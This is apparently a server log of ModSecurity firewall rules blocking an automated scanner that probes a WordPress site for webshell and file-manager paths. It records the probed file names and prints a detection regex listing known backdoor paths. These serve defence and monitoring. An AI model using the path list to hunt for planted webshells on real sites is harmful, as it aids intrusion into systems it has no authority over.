[Fri Apr 03 01:27:23.857055 2026] [:error] [pid 25035:tid 25466] [client 4.232.187.184:28261] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ac6m-xhR292toNOkLqGyXwAAAJg"]
[Fri Apr 03 01:27:24.333502 2026] [:error] [pid 25470:tid 25473] [client 4.232.187.184:3908] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ac6m_HhROcck6_9HYygRmwAAAME"]
[Fri Apr 03 01:27:24.816422 2026] [:error] [pid 25470:tid 25492] [client 4.232.187.184:3572] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ac6m_HhROcck6_9HYygRnAAAANQ"]
[Fri Apr 03 01:27:25.285145 2026] [:error] [pid 25470:tid 25488] [client 4.232.187.184:4069] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "ac6m_XhROcck6_9HYygRogAAANA"]
[Fri Apr 03 01:27:25.763745 2026] [:error] [pid 25470:tid 25490] [client 4.232.187.184:61517] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "ac6m_XhROcck6_9HYygRpwAAANI"]
[Fri Apr 03 01:27:26.239266 2026] [:error] [pid 25018:tid 25432] [client 4.232.187.184:3549] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "ac6m_nupR6lXnAUzFGr1KQAAAFM"]
[Fri Apr 03 01:27:26.722767 2026] [:error] [pid 25470:tid 25482] [client 4.232.187.184:27102] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nope.php"] [unique_id "ac6m_nhROcck6_9HYygRrwAAAMo"]
[Fri Apr 03 01:27:27.218310 2026] [:error] [pid 25010:tid 25365] [client 4.232.187.184:29054] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js.php"] [unique_id "ac6m_4_KcjFQF5TuqTWjBwAAABA"]
[Fri Apr 03 01:27:27.831068 2026] [:error] [pid 25018:tid 25423] [client 4.232.187.184:27112] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js.php"] [unique_id "ac6m_3upR6lXnAUzFGr1KwAAAEo"]
[Fri Apr 03 01:27:28.312203 2026] [:error] [pid 25470:tid 25473] [client 4.232.187.184:3288] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js.php"] [unique_id "ac6nAHhROcck6_9HYygRvwAAAME"]
[Fri Apr 03 01:27:28.830151 2026] [:error] [pid 25035:tid 25454] [client 4.232.187.184:61627] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js.php"] [unique_id "ac6nABhR292toNOkLqGybQAAAIw"]
[Fri Apr 03 01:27:29.303477 2026] [:error] [pid 25035:tid 25444] [client 4.232.187.184:61570] [client 4.232.187.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "ac6nARhR292toNOkLqGycgAAAII"]
[Fri Apr 03 01:27:29.782543 2026] [:error] [pid 25035:tid 25457] [client 4.232.187.184:28264] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ac6nARhR292toNOkLqGyeAAAAI8"]
[Fri Apr 03 01:27:30.305527 2026] [:error] [pid 25035:tid 25456] [client 4.232.187.184:3109] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ac6nAhhR292toNOkLqGyegAAAI4"]
[Fri Apr 03 01:27:30.788545 2026] [:error] [pid 25470:tid 25491] [client 4.232.187.184:28233] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/num.php"] [unique_id "ac6nAnhROcck6_9HYygRzQAAANM"]
[Fri Apr 03 01:27:31.285718 2026] [:error] [pid 25035:tid 25459] [client 4.232.187.184:3128] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ac6nAxhR292toNOkLqGyfgAAAJE"]
[Fri Apr 03 01:27:31.760018 2026] [:error] [pid 25035:tid 25448] [client 4.232.187.184:3094] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ac6nAxhR292toNOkLqGygAAAAIY"]
[Fri Apr 03 01:27:32.273631 2026] [:error] [pid 25470:tid 25481] [client 4.232.187.184:27578] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ac6nBHhROcck6_9HYygR1AAAAMk"]
[Fri Apr 03 01:27:32.783264 2026] [:error] [pid 25010:tid 25359] [client 4.232.187.184:29506] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ac6nBI_KcjFQF5TuqTWjIQAAAAs"]
[Fri Apr 03 01:27:33.333442 2026] [:error] [pid 25010:tid 25347] [client 4.232.187.184:27583] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ac6nBY_KcjFQF5TuqTWjKgAAAAA"]
[Fri Apr 03 01:27:33.817399 2026] [:error] [pid 25470:tid 25492] [client 4.232.187.184:29508] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ac6nBXhROcck6_9HYygR2QAAANQ"]
[Fri Apr 03 01:27:34.292186 2026] [:error] [pid 25010:tid 25365] [client 4.232.187.184:28265] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ac6nBo_KcjFQF5TuqTWjNAAAABA"]
[Fri Apr 03 01:27:34.769960 2026] [:error] [pid 25010:tid 25357] [client 4.232.187.184:3309] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "ac6nBo_KcjFQF5TuqTWjOQAAAAk"]
[Fri Apr 03 01:27:35.240393 2026] [:error] [pid 25010:tid 25371] [client 4.232.187.184:3932] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ac6nB4_KcjFQF5TuqTWjPAAAABY"]
[Fri Apr 03 01:27:35.728485 2026] [:error] [pid 25010:tid 25349] [client 4.232.187.184:3367] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ac6nB4_KcjFQF5TuqTWjPwAAAAI"]
[Fri Apr 03 01:27:36.213964 2026] [:error] [pid 25035:tid 25459] [client 4.232.187.184:29516] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ac6nCBhR292toNOkLqGyjQAAAJE"]
[Fri Apr 03 01:27:36.701772 2026] [:error] [pid 25470:tid 25474] [client 4.232.187.184:61772] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ac6nCHhROcck6_9HYygR5gAAAMI"]
[Fri Apr 03 01:27:37.182382 2026] [:error] [pid 25035:tid 25442] [client 4.232.187.184:3275] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "ac6nCRhR292toNOkLqGykQAAAIA"]
[Fri Apr 03 01:27:37.874654 2026] [:error] [pid 25018:tid 25435] [client 4.232.187.184:3143] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "ac6nCXupR6lXnAUzFGr1QQAAAFY"]
[Fri Apr 03 01:27:38.583334 2026] [:error] [pid 25010:tid 25358] [client 4.232.187.184:3087] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "ac6nCo_KcjFQF5TuqTWjWQAAAAo"]
[Fri Apr 03 01:27:39.074316 2026] [:error] [pid 25470:tid 25491] [client 4.232.187.184:61877] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "ac6nC3hROcck6_9HYygR7QAAANM"]
[Fri Apr 03 01:27:39.571472 2026] [:error] [pid 25010:tid 25361] [client 4.232.187.184:3096] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "ac6nC4_KcjFQF5TuqTWjXwAAAAw"]
[Fri Apr 03 01:27:40.078064 2026] [:error] [pid 25010:tid 25353] [client 4.232.187.184:61574] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "ac6nDI_KcjFQF5TuqTWjZQAAAAU"]
[Fri Apr 03 01:27:40.572893 2026] [:error] [pid 25470:tid 25487] [client 4.232.187.184:29029] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "ac6nDHhROcck6_9HYygR9AAAAM8"]
[Fri Apr 03 01:27:41.050468 2026] [:error] [pid 25470:tid 25490] [client 4.232.187.184:61533] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ok.php"] [unique_id "ac6nDXhROcck6_9HYygR-gAAANI"]
[Fri Apr 03 01:27:41.543329 2026] [:error] [pid 25010:tid 25354] [client 4.232.187.184:3956] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ac6nDY_KcjFQF5TuqTWjbgAAAAY"]
[Fri Apr 03 01:27:42.031910 2026] [:error] [pid 25470:tid 25472] [client 4.232.187.184:29039] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ac6nDnhROcck6_9HYygSBQAAAMA"]
[Fri Apr 03 01:27:42.522628 2026] [:error] [pid 25470:tid 25491] [client 4.232.187.184:3127] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ac6nDnhROcck6_9HYygSCwAAANM"]
[Fri Apr 03 01:27:42.996463 2026] [:error] [pid 25035:tid 25466] [client 4.232.187.184:28248] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ac6nDhhR292toNOkLqGymAAAAJg"]
[Fri Apr 03 01:27:43.474476 2026] [:error] [pid 25010:tid 25364] [client 4.232.187.184:61569] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ac6nD4_KcjFQF5TuqTWjcgAAAA8"]
[Fri Apr 03 01:27:43.953915 2026] [:error] [pid 25470:tid 25488] [client 4.232.187.184:31006] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ac6nD3hROcck6_9HYygSEAAAANA"]
[Fri Apr 03 01:27:44.425973 2026] [:error] [pid 25470:tid 25472] [client 4.232.187.184:29553] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ac6nEHhROcck6_9HYygSEgAAAMA"]
[Fri Apr 03 01:27:44.943653 2026] [:error] [pid 25035:tid 25449] [client 4.232.187.184:29027] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ac6nEBhR292toNOkLqGyoQAAAIc"]
[Fri Apr 03 01:27:45.413243 2026] [:error] [pid 25470:tid 25496] [client 4.232.187.184:61859] [client 4.232.187.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "ac6nEXhROcck6_9HYygSFwAAANg"]
[Fri Apr 03 01:27:45.922519 2026] [:error] [pid 25035:tid 25445] [client 4.232.187.184:61535] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/123.php"] [unique_id "ac6nERhR292toNOkLqGyowAAAIM"]
[Fri Apr 03 01:27:46.404808 2026] [:error] [pid 25010:tid 25355] [client 4.232.187.184:3376] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/123.php"] [unique_id "ac6nEo_KcjFQF5TuqTWjhgAAAAc"]
[Fri Apr 03 01:27:46.887864 2026] [:error] [pid 25018:tid 25437] [client 4.232.187.184:26617] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/123.php"] [unique_id "ac6nEnupR6lXnAUzFGr1UQAAAFg"]
[Fri Apr 03 01:27:47.394625 2026] [:error] [pid 25018:tid 25435] [client 4.232.187.184:29017] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "ac6nE3upR6lXnAUzFGr1UgAAAFY"]
[Fri Apr 03 01:27:47.888560 2026] [:error] [pid 25035:tid 25448] [client 4.232.187.184:29545] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "ac6nExhR292toNOkLqGysAAAAIY"]
[Fri Apr 03 01:27:48.374300 2026] [:error] [pid 25010:tid 25361] [client 4.232.187.184:27542] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "ac6nFI_KcjFQF5TuqTWjiQAAAAw"]
[Fri Apr 03 01:27:48.971168 2026] [:error] [pid 25470:tid 25492] [client 4.232.187.184:61837] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-links-opml.php"] [unique_id "ac6nFHhROcck6_9HYygSJwAAANQ"]
[Fri Apr 03 01:27:49.460961 2026] [:error] [pid 25470:tid 25474] [client 4.232.187.184:62227] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp.php"] [unique_id "ac6nFXhROcck6_9HYygSKQAAAMI"]
[Fri Apr 03 01:27:49.953772 2026] [:error] [pid 25018:tid 25432] [client 4.232.187.184:3119] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp.php"] [unique_id "ac6nFXupR6lXnAUzFGr1VgAAAFM"]
[Fri Apr 03 01:27:50.434567 2026] [:error] [pid 25010:tid 25372] [client 4.232.187.184:61868] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp.php"] [unique_id "ac6nFo_KcjFQF5TuqTWjjAAAABc"]
[Fri Apr 03 01:27:51.051002 2026] [:error] [pid 25010:tid 25369] [client 4.232.187.184:31020] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp.php"] [unique_id "ac6nF4_KcjFQF5TuqTWjjwAAABQ"]
[Fri Apr 03 01:27:51.527159 2026] [:error] [pid 25035:tid 25460] [client 4.232.187.184:29525] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moon.php"] [unique_id "ac6nFxhR292toNOkLqGyvQAAAJI"]
